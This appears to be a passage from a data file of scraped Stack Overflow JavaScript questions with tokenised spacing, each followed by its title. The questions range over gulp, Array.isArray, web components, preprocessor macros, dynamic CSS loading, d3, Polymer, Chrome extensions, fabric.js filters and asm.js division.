< meta charset= '' utf-8 '' > < meta http-equiv= '' x-ua-compatible '' content= '' ie=edge '' > < title > < /title > < meta name= '' description '' content= '' '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < link rel= '' shortcut icon '' type= '' image/x-icon '' href= '' favicon.ico '' > < ! -- Place favicon.ico in the root directory -- > < link rel= '' stylesheet '' href= '' css/style.css '' > < /head > < body > < ! -- [ if lt IE 8 ] > < p class= '' browserupgrade '' > You are using an < strong > outdated < /strong > browser . Please < a href= '' http : //browsehappy.com/ '' > upgrade your browser < /a > to improve your experience. < /p > < ! [ endif ] -- > < a href= '' # '' > hello < /a > < a href= '' '' > hello < /a > < a href= '' # '' > hello < /a > < a href= '' '' > hello < /a > < a href= '' # '' > hello < /a > < script src= '' http : //code.jquery.com/jquery-1.11.3.min.js '' > < /script > < script src= '' js/scripts.js '' > < /script > < /body > < /html > < a href= '' '' > < a href= '' # '' > < a > gulp.task ( `` checkDev '' , function ( callback ) { var options = { pageUrls : [ 'http : //localhost:8080/Gulp-Test/index.html ' ] , checkLinks : true , summary : true } ; checkPages ( console , options , callback ) ; } ) ; pageUrls : [ 'http : //localhost:8080/Gulp-Test/index.html ' ] ,",Check for empty or blank links in all html files in root directory using gulp "JS : I can easily make a plain object look like an array by setting its prototype to Array.prototype : ( I 'm aware that there are also some problems with the magic length property and sparse arrays , but that 's not the point of this question . ) I want to make Array.isArray ( obj ) return true ( of course without modifing the Array.isArray ( ) method ) . The MDN polyfill for Array.isArray ( ) is as follows : By using the Symbol.toStringTag property I can make Object.prototype.toString.call ( obj ) return ' [ object Array ] ' : Now the polyfilled Array.isArray ( ) returns true for obj ( please ignore the fact that none of the browsers that does n't support Array.isArray ( ) does support Symbol.toStringTag ) . However , the native Array.isArray ( ) function still returns false for obj . I looked at the ECMAScript 2017 specification and it says that Array.isArray ( ) uses the abstract operation IsArray , which returns true if the argument is an Array exotic object . If the argument is a Proxy , it calls IsArray directly on the target object , so it seems that using a Proxy would n't help here.Is there any way to make Array.isArray ( obj ) return true ? To make it clear , I do n't want to modify Array.isArray ( ) or any other build-in objects.This is basically the same question as Can you fake out Array.isArray ( ) with a user-defined object ? , but it was asked 5 years ago , and the answers are based on the ECMAScript 5 specification . I 'm looking for an answer based on the ECMAScript 2017 specification . const obj = { } ; Reflect.setPrototypeOf ( obj , Array.prototype ) ; if ( ! Array.isArray ) { Array.isArray = function ( arg ) { return Object.prototype.toString.call ( arg ) === ' [ object Array ] ' ; } ; } obj [ Symbol.toStringTag ] = 'Array ' ; console.log ( Object.prototype.toString.call ( obj ) === ' [ object Array ] ' ) ; // true",Can I create an object for which Array.isArray ( ) returns true without using the Array constructor or array literal ? "JS : In web components , to register an element you simply type : To create an element you can do one of these : This is all fine and dandy . The issues start when you are talking about extending existing elements.Question 1 : Why the duplication ? Here , 'button ' should suffice ( especially since it 's easy enough to work out the element 's prototype with Object.getPrototypeOf ( document.createElement ( tag ) ) ; Question 2 : How is that information used internally ? What happens if you for example have prototype : Object.create ( HTMLFormElement.prototype and extends : 'button ' ( where what 's after extends does n't match the prototype passed ) To create one you can do one of these : Question 3 : since it 's clear that x-foo-button extends button , why do we have to specify both of them when we use document.createElement ( ) ? I suspect that 's because document.createElement ( ) simply creates a tag with syntax < button is= '' x-foo-button '' > < /button > , which brings me to the next question : Question 4 : What 's the point of the is syntax ? What is the actual difference between doing this : And this : Other than 1 ) The first syntax will need < button is= '' x-foo-button '' > < /button > to create an instance in the document 2 ) The second syntax can be used on any element , not just an extension of the custom ones ? var XFoo = document.registerElement ( ' x-foo ' , { prototype : Object.create ( HTMLElement.prototype ) } ) ; < x-foo > < /x-foo > var xFoo = new XFoo ( ) ; document.body.appendChild ( xFoo ) ; var xFoo = document.createElement ( ' x-foo ' ) document.body.appendChild ( xFoo ) ; var XFooButton = document.registerElement ( ' x-foo-button ' , { prototype : Object.create ( HTMLButtonElement.prototype ) , extends : 'button ' } ) ; < button is= '' x-foo-button '' > < /button > var xFooButton = new XFooButton ( ) ; document.body.appendChild ( xFoo ) ; var xFooButton = document.createElement ( 'button ' , ' x-foo-button ' ) ; document.body.appendChild ( xFooButton ) ; var XFooButton = document.registerElement ( ' x-foo-button ' , { prototype : Object.create ( HTMLButtonElement.prototype ) , extends : 'button ' } ) ; var XFooButton = document.registerElement ( ' x-foo-button ' , { prototype : Object.create ( HTMLButtonElement.prototype ) , } ) ;",What is the point of the `` is '' syntax when extending elements in web components ? "JS : BackgroundI 've been using the C preprocessor to manage and `` compile '' semi-large javascript projects with multiple files and build targets . This gives full access to C preprocessor directives like # include , # define , # ifdef , etc . from within javascript . Here 's a sample build script so you can test the example code : Make a src and a build directory , and put the .js files in src.Convenience MacrosOriginally , I just wanted the preprocessor stuff for # include and maybe a few # ifdefs , but I got to thinking , would n't it be nice to have some convenience macros too ? Experimentation ensued.Cool , so now I can write something like this : And it will expand to : How about foreach ? Notice how we sneak v=o [ k ] inside the if condition so it does n't disturb the curly braces that should follow the invocation of this macro.Class-like OOPLet 's start with a NAMESPACE macro and an obscure but useful js pattern ... new function ( ) { ... } does some neat stuff . It calls an anonymous function as a constructor , so it does n't need an extra ( ) at the end to call it , and within it this refers to the object being created by the constructor , in other words , the namespace itself . This also allows us to nest namespaces within namespaces.Here is my full set of class-like OOP macros : As you can see , these macros define many things both in the Variable Object ( for convenience ) and in this ( from necessity ) . Here 's some example code : What about EXTENDS ? So this brings me to the question ... how can we implement EXTENDS as a macro to wrap the usual `` clone the prototype , copy constructor properties '' js prototype inheritance ? I have n't found a way to do it outside of requiring the EXTENDS to appear after the class definition , which is silly . This experiment needs EXTENDS or it 's useless . Feel free to change the other macros as long as they give the same results.Edit - These might come in handy for EXTENDS ; listing them here for completeness.Thanks in advance for any help , advice , or lively discussion . : ) # ! /bin/bashexport OPTS= '' -DDEBUG_MODE=1 -Isrc '' for FILE in ` find src/ | egrep '\.js ? $ ' ` do echo `` Processing $ FILE '' cat $ FILE \ | sed 's/^\s*\/\/ # / # / ' \ | cpp $ OPTS \ | sed 's/^ [ # : < ] . *// ; /^ $ /d ' \ > build/ ` basename $ FILE ` ; done # define EACH ( o , k ) for ( var k in o ) if ( o.hasOwnProperty ( k ) ) EACH ( location , prop ) { console.log ( prop + `` : `` location [ prop ] ) ; } for ( var prop in location ) if ( location.hasOwnProperty ( prop ) ) { console.log ( prop + `` : `` location [ prop ] ) ; } # define FOREACH ( o , k , v ) var k , v ; for ( k in o ) if ( v=o [ k ] , o.hasOwnProperty ( k ) ) // ... FOREACH ( location , prop , val ) { console.log ( prop + `` : `` + val ) } # define NAMESPACE ( ns ) var ns = this.ns = new function ( ) # define NAMESPACE ( ns ) var ns=this.ns=new function ( ) # define CLASS ( c ) var c=this ; new function ( ) # define CTOR ( c ) ( c=c.c=this.constructor= $ $ ctor ) .prototype=this ; \ function $ $ ctor # define PUBLIC ( fn ) this.fn=fn ; function fn # define PRIVATE ( fn ) function fn # define STATIC ( fn ) $ $ ctor.fn=fn ; function fn NAMESPACE ( Store ) { CLASS ( Cashier ) { var nextId = 1000 ; this.fullName = `` floater '' ; CTOR ( Cashier ) ( fullName ) { if ( fullName ) this.fullName = fullName ; this.id = ++nextId ; this.transactions = 0 ; } PUBLIC ( sell ) ( item , customer ) { this.transactions += 1 ; customer.inventory.push ( item ) ; } STATIC ( hire ) ( count ) { var newCashiers = [ ] ; for ( var i=count ; i -- ; ) { newCashiers.push ( new Cashier ( ) ) ; } return newCashiers ; } } CLASS ( Customer ) { CTOR ( Customer ) ( name ) { this.name = name ; this.inventory = [ ] ; this.transactions = 0 ; } PUBLIC ( buy ) ( item , cashier ) { cashier.sell ( this , item ) ; } } } # define EACH ( o , k ) for ( var k in o ) if ( o.hasOwnProperty ( k ) ) # define MERGE ( d , s ) EACH ( s , $ $ i ) d [ $ $ i ] =s [ $ $ i ] # define CLONE ( o ) ( function ( ) { $ $ C.prototype=o ; return new $ $ C ; function $ $ C ( ) { } } ( ) )",EXTENDS challenge : preprocessor function macros and class-like oop "JS : I 'm loading CSS file in java script code . At first I used jQuery code . It worked fine , but after somet time I realized that CSS rules are not applied in IE browser . So I googled and replaced it with document.createElement version . Now it works smoothly in all browsers . Anybody knows why ? Is there a difference in those two approaches ? vs.Thanks , PawełP.S . Another tip : loading file with first $ approach fails , whereas using document.getElement ... works . So , something like this works : works. -- -- -- -- -- -- -- -- -- -- -- - TIP 2Another kicker : This one works : This one does n't : var cssNode = document.createElement ( 'link ' ) ; cssNode.type = 'text/css ' ; cssNode.rel = 'stylesheet ' ; cssNode.href = filename ; cssNode.media = 'screen ' ; cssNode.title = 'dynamicLoadedSheet ' ; document.getElementsByTagName ( `` head '' ) [ 0 ] .appendChild ( cssNode ) ; var $ fileref = $ ( `` < link / > '' ) ; $ fileref.attr ( `` rel '' , `` stylesheet '' ) ; $ fileref.attr ( `` type '' , `` text/css '' ) ; $ fileref.attr ( `` href '' , filename ) ; $ fileref.attr ( `` media '' , `` screen '' ) ; $ fileref.attr ( `` title '' , 'dynamicLoadedSheet ' ) ; $ ( 'head ' ) .append ( $ fileref ) ; $ ( 'head ' ) .append ( $ fileref ) ; document.getElementsByTagName ( `` head '' ) [ 0 ] .appendChild ( $ fileref [ 0 ] ) ; var $ fileref = $ ( `` < link / > '' ) ; $ fileref.attr ( `` rel '' , `` stylesheet '' ) ; $ fileref.attr ( `` type '' , `` text/css '' ) ; $ fileref.attr ( `` href '' , filename ) ; document.getElementsByTagName ( `` head '' ) [ 0 ] .appendChild ( $ fileref [ 0 ] ) ; var $ fileref = $ ( `` < link / > '' ) ; $ fileref.attr ( `` rel '' , `` stylesheet '' ) ; $ fileref.attr ( `` type '' , `` text/css '' ) ; $ fileref.attr ( `` href '' , filename ) ; document.getElementsByTagName ( `` head '' ) [ 0 ] .appendChild ( $ fileref [ 0 ] ) ; var $ fileref = $ ( ' < link rel= '' stylesheet '' type= '' text/css '' href= '' ' + filename + ' '' / > ' ) document.getElementsByTagName ( `` head '' ) [ 0 ] .appendChild ( $ fileref [ 0 ] ) ;",Loadin CSS dynamically - jQuery vs plain Javascript "JS : The meteor-react tutorial instructs you to create your Meteor login buttons by calling Blaze.render : The account-ui package documentation says that if you want to align the login dropdown on the right edge of the screen , you should useUnfortunately , the documentation of the Blaze.render ( ) function does n't indicate any parameters that my JavaScript can use to pass the equivalent of align= '' right '' .How can I tell Blaze to render the template with align= '' right '' ? this.view = Blaze.render ( Template.loginButtons , React.findDOMNode ( this.refs.container ) ) ; { { > loginButtons align= '' right '' } } '",How do you pass arguments to Blaze components programmatically ? "JS : this time I am trying to create a stacked bar with toggleable series- based on Mike Bostock 's example ( thanks once more Mike ! ) I have already succeeded into making it responsive and zoomable , and the toggleable series through a legend is the last thing remaining.I created the legend items , and applied the correct color by using keys : Based on the structure , in order to create the toggleable item , I came to the conclusion that I somehow have to be able to toggle it from the keys AND the dataset - or is there another way to do it ? I have managed to remove a specific key from the keys , but not from the dataset , I have no idea how to map it properly.The second issue is that I ca n't figure of a way to toggle a key , but just remove it . This is the original dataset : In the values were provided from a nested dataset , I could attach a key named 'enabled ' to each object and could easily filter the dataset , but ca n't figure out how to attach a key to help in the filtering proccess.edit3 Removed useless information from the question : Here is a working fiddle : https : //jsfiddle.net/fgseaxoy/2/ var legendItem = d3.select ( `` .legend '' ) .selectAll ( `` li '' ) .data ( keys ) .enter ( ) .append ( `` li '' ) .on ( 'click ' , function ( d ) { keys.forEach ( function ( c ) { if ( c ! = d ) tKeys.push ( c ) } ) ; fKeys = tKeys ; tKeys = [ ] ; redraw ( ) ; } ) ; legendItem .append ( `` span '' ) .attr ( `` class '' , `` color-square '' ) .style ( `` color '' , function ( d ) { return colorScale5 ( d ) ; } ) ; legendItem .append ( `` span '' ) .text ( function ( d ) { return ( d ) } ) ; var data = [ { `` country '' : `` Greece '' , `` Vodafone '' : 57 , `` Wind '' : 12 , `` Cosmote '' : 20 } , { `` country '' : `` Italy '' , `` Vodafone '' : 40 , `` Wind '' : 24 , `` Cosmote '' : 35 } , { `` country '' : `` France '' , `` Vodafone '' : 22 , `` Wind '' : 9 , `` Cosmote '' : 9 } ]",d3.js stacked bar with toggleable series "JS : For some reason , when I pass a date with a Hawaii time zone to JavaScript 's Date ( ) I get `` invalid date '' , but any other time zone I do n't . Is there a workaround for this ? jsFiddle var HAST = 'Wed , 31 Jul 2013 07:21:16 HAST ' ; var hawaiiTime = new Date ( HAST ) ; console.log ( `` Hawaii time : `` +hawaiiTime ) ; // Hawaii time : Invalid Datevar PST = 'Wed , 31 Jul 2013 07:21:16 PST ' ; var pacificTime = new Date ( PST ) ; console.log ( `` Pacific time : `` +pacificTime ) ; // Pacific time : Wed Jul 31 2013 09:21:16 GMT-0600 ( MDT )",Date with Hawaii timezone makes invalid JavaScript date "JS : Below javascript statements will cause error , if ga is not declared.The error is : It looks undeclared variable can not be recognized in bool expression . So , why below statement works ? To me , the ga is treated as bool value before `` || '' . If it is false , expression after `` || '' is assigned to final ga . if ( ga ) { alert ( ga ) ; } ga is not defined var ga = ga || [ ] ;",Why JavaScript Statement `` ga = ga || [ ] '' Works ? "JS : I am currently using http : //instantclick.io , however the plugin is not binding my dynamically created links.PHP ResponsejQuery form handlerCommander.init reads in the response , and the response above would execute the alert ( ) function within dm.commanderAs you can see the PHP response sends out an alert with a link in it . The form then processes it and returns alert ( ) which prepends a div to # messagesAnd the jQuery that binds isThe above works with normal links that are already on the page however it does n't work with the link PHP generates and jQuery prepends.Though I can not specifically delegate to # messages due to other functions in the future could append to say # content.Is there anyway to bind instantclick to dynamically created links such as above.And yes I have researched and could n't find an answer that worked . $ json [ 'alert ' ] = array ( 'type ' = > 'success ' , 'content ' = > 'Success ! Your new thread has been posted , you can visit it < a href= '' ' . site_url_in . 'forums/thread/ ' . $ id . ' '' > here < /a > ' ) ; $ .post ( url , form , function ( data ) { //Lets do awesomeness console.log ( 'Data : ' + data ) ; console.log ( 'Form : ' + form ) ; dm.commander.init ( data ) ; } ) ; alert : function ( message ) { $ ( `` # messages '' ) .empty ( ) ; $ ( `` # messages '' ) .prepend ( ' < div class= '' alert alert-'+message [ 'type ' ] + ' '' > '+message [ 'content ' ] + ' < /div > ' ) ; // this.scrollTo ( 'messages ' ) ; } , $ ( document ) .one ( 'click ' , ' a ' , function ( e ) { console.log ( 'clicked ' ) ; e.preventDefault ( ) ; } ) InstantClick.init ( 100 ) ;",InstantClick not binding to dynamic href "JS : I am trying to focus an input element inside of a polymer template every time it stamps its contents . The problem is that I can not select the input element until the template has loaded . Currently , I am just using setTimeout to focus the input 100ms after the template should load , but I want to know if there is a more elegant solution . Also , the autofocus attribute does n't work , because the template may un-stamp and re-stamp many times . Right now , my code looks something like this ( this is inside a polymer element definition ) : But I would prefer something more like this : Any ideas are appreciated . Polymer ( { // ... showInput : false , makeInputVisible : function ( ) { this.showInput = true ; var container = this. $ .container ; setTimeout ( function ( ) { container.querySelector ( `` # input '' ) .focus ( ) ; } , 100 ) ; } , } ) ; < div id= '' container '' > < template if= '' { { showInput } } '' > < input id= '' input '' is= '' core-input '' committedValue= '' { { inputValue } } '' / > < /template > < /div > Polymer ( { // ... showInput : false , makeInputVisible : function ( ) { this.showInput = true ; } , focusInput : function ( ) { this. $ .container.querySelector ( `` # input '' ) .focus ( ) ; } , } ) ; < div id= '' container '' > < template if= '' { { showInput } } '' on-stamp= '' { { focusInput } } '' > < input id= '' input '' is= '' core-input '' committedValue= '' { { inputValue } } '' / > < /template > < /div >",Is there a stamp event for polymer templates ? "JS : This question has come out of another , which concerns the behaviour of console.dir with string literals . In particular , see the comments on my answer.As we all know , String objects in JavaScript have a number of methods . Those methods are defined on the String.prototype object . String.prototype.toUpperCase for example . We can therefore do things like this : However , we can also do this : Clearly , the JavaScript interpreter is doing some form of conversion/cast when you call a method of String.prototype on a string literal . However , I ca n't find any reference to this in the spec . It makes sense , because otherwise you 'd have to explicity cast every string literal to a String object before you could use any of the methods , and that would be quite annoying.So my question is , where is this functionality described , and am I right in assuming the literal value is temporarily cast to an instance of String ? Am I over-thinking this and missing something obvious ? var s = new String ( `` hello '' ) , s2 = s.toUpperCase ( ) ; //toUpperCase is a method on String.prototype var s = `` hello '' , //s is a string literal , not an instance of String s2 = s.toUpperCase ( ) ;",Why are methods of String.prototype available to string literals ? "JS : I view the code of express , and see this code https : //github.com/visionmedia/express/blob/master/lib/application.js # L490what the ~ means before envs if ( 'all ' == envs || ~envs.indexOf ( this.settings.env ) ) fn.call ( this ) ;",what does ` ~ ` mean in javascript "JS : I tried jquery datatable with tri colored rows which is repeating alternatively.But i got only two colored rows repeating.Tried jquery datatable with tri colored rowsI 'm using property even/odd for coloring $ ( document ) .ready ( function ( ) { $ ( ' # example ' ) .dataTable ( ) ; } ) ; $ ( document ) .ready ( function ( ) { $ ( `` # example tr : even '' ) .css ( `` background-color '' , `` LightYellow '' ) ; $ ( `` # example tr : odd '' ) .css ( `` background-color '' , `` LightBlue '' ) ; } ) ;",Jquery datatable with tri color rows JS : I was looking through a code and I came across this : I am unable to understand meaning of this expression . I know that it is Null-safe property access but I am bit confused about the chaining.Any help is much appreciated { { abc ? .xvy=== tyu ? abc ? .xz : abc ? .xz } },What is the obj ? .prop syntax in javascript ? "JS : JavaScript Set appears to be entirely incompatible with JavaScript proxies , attempting to Proxy ( ) a Set ( ) results in a VMError : In fact , proxying a Set ( ) in any way breaks it categorically - even if our proxy handler does nothing at all ! Compare p = new Proxy ( { } , { } ) vs p = new Proxy ( new Set ( ) , { } ) . ( This applies both in Firefox ( 52.0.2 ) and Chromium ( 57.0.2987.133 ) . ) I ca n't seem to find a credible reference or documentation for this , why can not JavaScript Proxy a Set object and why is it hitting a VM Error ? var p = new Proxy ( new Set ( ) , { add ( target , val , receiver ) { console.log ( 'in add : ' , target , val , receiver ) } } ) p.add ( 55 ) Uncaught TypeError : Method Set.prototype.add called on incompatible receiver [ object Object ] at Proxy.add ( native ) at < anonymous > :1:3",Why is Set Incompatible with Proxy ? "JS : I have been using paperjs for a year now , without any issues . After a Chrome update ( Version 55.0.2883.87 m ) some production code that I had n't touched for 2 months started failing with the error : item.setRampPoint is not a function : paper-full.js:13213 Uncaught TypeError : item.setRampPoint is not a functionIf I comment out the call to setRamPoint in the paperjs code it starts working again.This happens when I try to load a SVG to the page , but , as I said before , it was working fine for a long time.I am using version 0.9.25 of paperjs.Any ideas ? at offset ( paper-full.js:13213 ) at Object. < anonymous > ( paper-full.js:13263 ) at Object.forIn ( paper-full.js:46 ) at Function.each ( paper-full.js:133 ) at applyAttributes ( paper-full.js:13260 ) at importGroup ( paper-full.js:12944 ) at importSVG ( paper-full.js:13324 ) at Project.importSVG ( paper-full.js:13356 ) at drawAddLaneButtons ( tlc.js:267 ) at Path.window.drawTlcElements ( tlc.js:62 )",Paperjs 0.9.25 - item.setRampPoint is not a function "JS : Which is more efficient please ? or I have a page in which the html elements have many varied and sometimes repeated interactions with the JS so I 'm wondering if storing the element in a variable prevents multiple jQuery `` queries '' .As my project is a web app , I 'm keen to tune up what I can for the browser . var myElement = $ ( `` # the-name-of-my-element '' ) myElement.doSomethingOnce ; myElement.doSomethingTwice ; ... myElement.doSomethingTenTimes ; $ ( `` # the-name-of-my-element '' ) .doSomethingOnce ; $ ( `` # the-name-of-my-element '' ) .doSomethingTwice ; ... $ ( `` # the-name-of-my-element '' ) .doSomethingTenTimes ;",Is storing jQuery elements in variables more efficient ? JS : I am developing a Mozilla Add on . I am trying to open a tab.According to https : //addons.mozilla.org/en-US/developers/docs/sdk/1.0/packages/addon-kit/docs/tabs.html it is done using But it is not working on my case.I am doing that in the content script . I have a page called popup.html and a content called popup_script.js.The code is reached because the message is logged.Any idea ? console.log ( `` before tab '' ) ; var tabs = require ( `` tabs '' ) ; tabs.open ( `` http : //www.example.com '' ) ;,Open a tab in Mozilla Add On SDK "JS : I would like to get the result of value conventer that filters an array in my view in order to display the number of results found.I neither want to move this logic to my controller ( to keep it clean ) , nor to add crutches like returning some data from the value controller.What I want : So , basically I would like something like angular offers : Like shown here : ng-repeat= '' item in filteredItems = ( items | filter : keyword ) '' or here : ng-repeat= '' item in items | filter : keyword as filteredItems '' What I get : Unfortunately , in Aurelia : d of filteredDocuments = documents|docfilter : query : categoriesactually means d of filteredDocuments = documents |docfilter : query : categories , and if I add brackets or as , it wo n't run ( fails with a parser error ) .So , Is there a clean way of getting data out of data-filter in view ? Best regards , AlexanderUPD 1 : when I spoke about returning some data from the value controller I meant this : UPD 2 . Actually , I was wrong about this : d of filteredDocuments = documents |docfilter : query : categories . It does not solve the issue but what this code does is :1 ) filteredDocuments = documents |docfilter : query : categories on init2 ) d of filteredDocuments which is a repeat over the filtered at the very beginning array < div repeat.for= '' d of documents|docfilter : query : categories '' > < doc-template d.bind= '' d '' > < /doc-template > < /div > export class DocfilterValueConverter { toView ( docs , query , categories , objectToPassCount ) { ... objectToPassCount.count = result.length ; ... } ) ; } ) ;",Aurelia get value conventer results in view "JS : I 'm trying to define a multidimensional object in JavaScript with the following code : The result is : , but I expectWhat am I doing wrong ? Is a variable inner a class variable , not an instance ? JavaScript engine : Google V8 . function A ( one , two ) { this.one = one ; this.inner.two = two ; } A.prototype = { one : undefined , inner : { two : undefined } } ; A.prototype.print = function ( ) { console.log ( `` one= '' + this.one + `` , two= '' + this.inner.two ) ; } var a = new A ( 10 , 20 ) ; var b = new A ( 30 , 40 ) ; a.print ( ) ; b.print ( ) ; one=10 , two=40one=30 , two=40 one=10 , two=20one=30 , two=40",javascript multidimensional object "JS : I am trying to implement a simple Chrome extension that renders its content not on a default popup , but on a sidebar . I 've realized that to do that I must use an iframe due to its default behavior of chrome extension popup style . ( which it has limitation of maximum width size of 800px and height 600px . And also unable to style its position ) .Angular Chrome Extension Scaffold ProjectAbove the link is a github repository of a Angular Chrome extension scaffold project and I 'm trying to build a chrome extension with Angular.Above is my manifest.json file.And here 's what index.html looks like.and last here is how my App.component.ts looks likeWhen I click an icon of my chrome extension an Iframe element shows up left side of the browser but can not load index.html with `` Unchecked runtime.lastError : Can not access a chrome : // URL '' error and also popup shows up . ( image to describe its behavior ) Is there a right way to run chrome extension not on its default popup but on a iframe that i can style it without any limitation ? { `` manifest_version '' : 2 , `` name '' : `` extension test '' , `` short_name '' : `` extension test '' , `` version '' : `` 1.0.0 '' , `` description '' : `` extension test '' , `` permissions '' : [ `` tabs '' , `` downloads '' , `` storage '' , `` activeTab '' , `` declarativeContent '' ] , `` browser_action '' : { `` default_popup '' : `` index.html '' , `` default_title '' : `` extension test '' , `` default_icon '' : { `` 16 '' : `` assets/images/favicon-16.png '' , `` 32 '' : `` assets/images/favicon-32.png '' , `` 48 '' : `` assets/images/favicon-48.png '' , `` 128 '' : `` assets/images/favicon-128.png '' } } , `` options_ui '' : { `` page '' : `` index.html # /option '' , `` open_in_tab '' : false } , `` content_scripts '' : [ { `` js '' : [ `` contentPage.js '' ] , `` matches '' : [ `` < all_urls > '' ] } ] , `` background '' : { `` scripts '' : [ `` backgroundPage.js '' ] , `` persistent '' : false } , `` content_security_policy '' : `` script-src 'self ' 'unsafe-eval ' ; object-src 'self ' '' , `` default_icon '' : { `` 16 '' : `` assets/images/favicon-16.png '' , `` 32 '' : `` assets/images/favicon-32.png '' , `` 48 '' : `` assets/images/favicon-48.png '' , `` 128 '' : `` assets/images/favicon-128.png '' } } < ! doctype html > < html lang= '' en '' > < head > < meta charset= '' utf-8 '' > < title > Falcon Image Crawler < /title > < base href= '' / '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < link rel= '' icon '' type= '' image/x-icon '' href= '' favicon.ico '' > < /head > < body > < app-root > < /app-root > < /body > < /html > export class PopupComponent implements OnInit { constructor ( ) { } public ngOnInit ( ) : void { chrome.tabs.executeScript ( { code : ` ( function ( ) { const iframe = document.createElement ( 'iframe ' ) ; iframe.src = chrome.runtime.getURL ( 'index.html ' ) ; iframe.style.cssText = 'position : fixed ; top:0 ; left:0 ; display : block ; ' + 'width:300px ; height:100 % ; z-index:1000 ; ' ; document.body.appendChild ( iframe ) ; } ) ( ) ; ` } ) ; } }","How to run chrome extension that is made by Angular , inside iframe" "JS : We 've developed a rather big set of custom jasmine matchers that helps to make our code cleaner and avoid code duplication . I 've noticed that some of the custom jasmine matchers use === equality testing and some jasmine.matchersUtil.equals . Example : The Question : What is the difference between jasmine.matchersUtil.equals and === equality testing and which method should be preferred ? In other words , in general , do we risk if we are using === only ? toHaveHandCursor : function ( ) { return { compare : function ( actual ) { return { pass : actual.getCssValue ( `` cursor '' ) .then ( function ( cursor ) { return cursor === `` pointer '' ; } ) } ; } } ; } , toBeActive : function ( ) { return { compare : function ( elm ) { return { pass : protractor.promise.all ( [ elm.getId ( ) , browser.driver.switchTo ( ) .activeElement ( ) .getId ( ) ] ) .then ( helpers.spread ( function ( currentElementID , activeElementID ) { return jasmine.matchersUtil.equals ( currentElementID , activeElementID ) ; } ) ) , message : `` Element is not active . '' } ; } } ; }",jasmine.matchersUtil.equals vs === "JS : I am applying filters to objects ( following image filters demo ) and everything is ok but after I save and load the canvas , the image filters change index . At the moment I have four filters and they are applied by index ( as shown in the demo ) . 0 : Grayscale 1 : Invert 2 : Remove Color 3 : - Blend ColorSo if I apply Grayscale , and Remove Color , the 'filters ' array looks like this , with indexes 0 and 2 which is correct ... But after I load the canvas ( using loadFromJSON ) , the object 's 'filters ' array looks like this , with the indexes reset ... Is there any way that I can load the object and retain the filter indexes ? There is code that is dependant on this and it is causing errors when I load a canvas that has objects with filters.I have tried applying the following upon creation of the object ... It works ok when the object is created ... But when it is loaded , the false indexes are removed and its the same result ... oImg.filters = [ false , false , false , false ] ; ;",fabricjs : retain the correct indexes of an object 's image filters after loadFromJSON "JS : While testing my application I got a weird problem . When I put a date having the year before 1945 , it changes the timezone.I have got this simple program to show the problem.The output I am getting is below : -For the first one , I am getting it as +0630 and IDT , while for the second one , I am getting +0530 and IST which is expected.Edit : -After looking at @ Elliott Frisch answer I tried a date before 1942 : -output : -Here again , it says IST but shows +0553 . Should n't it be +0530.Just for a comparison , I tried same thing in javascript : -Which works fine . I want to know why java is affected by it , and if it 's a known problem , what is the possible workaround for it.Thanks in advance . public static void main ( String [ ] args ) { SimpleDateFormat format = new SimpleDateFormat ( `` yyyy-MM-dd HH : mm : ssZ '' ) ; Calendar calendar = Calendar.getInstance ( ) ; System.out.println ( `` **********Before 1945 '' ) ; calendar.set ( 1943 , Calendar.APRIL , 12 , 5 , 34 , 12 ) ; System.out.println ( format.format ( calendar.getTime ( ) ) ) ; System.out.println ( calendar.getTime ( ) ) ; System.out.println ( `` **********After 1945 '' ) ; calendar.set ( 1946 , Calendar.APRIL , 12 , 5 , 34 , 12 ) ; System.out.println ( format.format ( calendar.getTime ( ) ) ) ; System.out.println ( calendar.getTime ( ) ) ; } **********Before 19451943-04-12 05:34:12+0630Mon Apr 12 05:34:12 IDT 1943**********After 19451946-04-12 05:34:12+0530Fri Apr 12 05:34:12 IST 1946 calendar.set ( 1915 , Calendar.APRIL , 12 , 5 , 34 , 12 ) ; System.out.println ( format.format ( calendar.getTime ( ) ) ) ; System.out.println ( calendar.getTime ( ) ) ; 1915-04-12 05:34:12+0553Mon Apr 12 05:34:12 IST 1915 new Date ( `` 1946-04-12 05:34:12 '' ) //prints Fri Apr 12 1946 05:34:12 GMT+0530 ( IST ) new Date ( `` 1943-04-12 05:34:12 '' ) //prints Fri Apr 12 1943 05:34:12 GMT+0530 ( IST ) new Date ( `` 1915-04-12 05:34:12 '' ) //prints Mon Apr 12 1915 05:34:12 GMT+0530 ( IST )","Java Date timezone printing different timezones for different years , Workaround needed" "JS : I have a simple extensions that saves some data to chrome storageThis works fine locally - my extension is working as intended - but it does n't sync back to another computer . I am assuming the sync is ON on both computers because the bookmarks , extensions , etc . sync just fine.Thank you ! var dt = new Date ( ) ; var item = { } ; item [ $ ( ' # qteSymb ' ) .text ( ) + `` - '' + guid ( ) ] = $ ( ' # newnote ' ) .val ( ) + `` - : - '' + $ .datepicker.formatDate ( 'mm/dd/yy ' , dt ) + `` `` + dt.getHours ( ) + `` : '' + ( dt.getMinutes ( ) < 10 ? `` 0 '' + dt.getMinutes ( ) : dt.getMinutes ( ) ) ; chrome.storage.sync.set ( item , function ( ) { renderNotes ( ) ; } ) ;",chrome.storage.sync does n't sync between machines "JS : Almost all of the functions in my program have some sort of asynchronous call , but they all rely on some previous function 's results . Because of that , I 've hard-coded the next function call into each individual one as such : And so on . It 's a large chain where each function calls the next . While this works within the program , it makes each function useless individually . I 'm a bit lost on how to avoid this problem . I could n't figure out how to use general callback functions , because when I make the function calls , it ends up like this ( using the functions above ) : But then 'results ' has n't been defined yet.The solution seems obvious , I 'm just being a bit dense about it . Sorry ! function getStuff ( ) { $ .ajax ( { ... success : function ( results ) { // other functions involving results getMoreStuff ( results ) ; } } ) ; } function getMoreStuff ( results ) { $ .ajax ( { ... success : function ( moreResults ) { // other functions involving moreResults doSomethingWithStuff ( moreResults ) ; } ) ; } getStuff ( function ( ) { getMoreStuff ( results , doSomethingWithStuff ) ; } ;","How to avoid hard-coded , chained asynchronous functions in Javascript/jQuery ?" "JS : In javascript , division by zero with `` integer '' arguments acts like floating points should : The asm.js spec says that division with integer arguments returns intish , which must be immediately coerced to signed or unsigned . If we do this in javascript , division by zero with `` integer '' arguments always returns zero after coersion : However , in languages with actual integer types like Java and C , dividing an integer by zero is an error and execution halts somehow ( e.g. , throws exception , triggers a trap , etc ) .This also seems to violate the type signatures specified by asm.js . The type of Infinity and NaN is double and of / is supposedly ( from the spec ) : ( signed , signed ) → intish ∧ ( unsigned , unsigned ) → intish ∧ ( double ? , double ? ) → double ∧ ( float ? , float 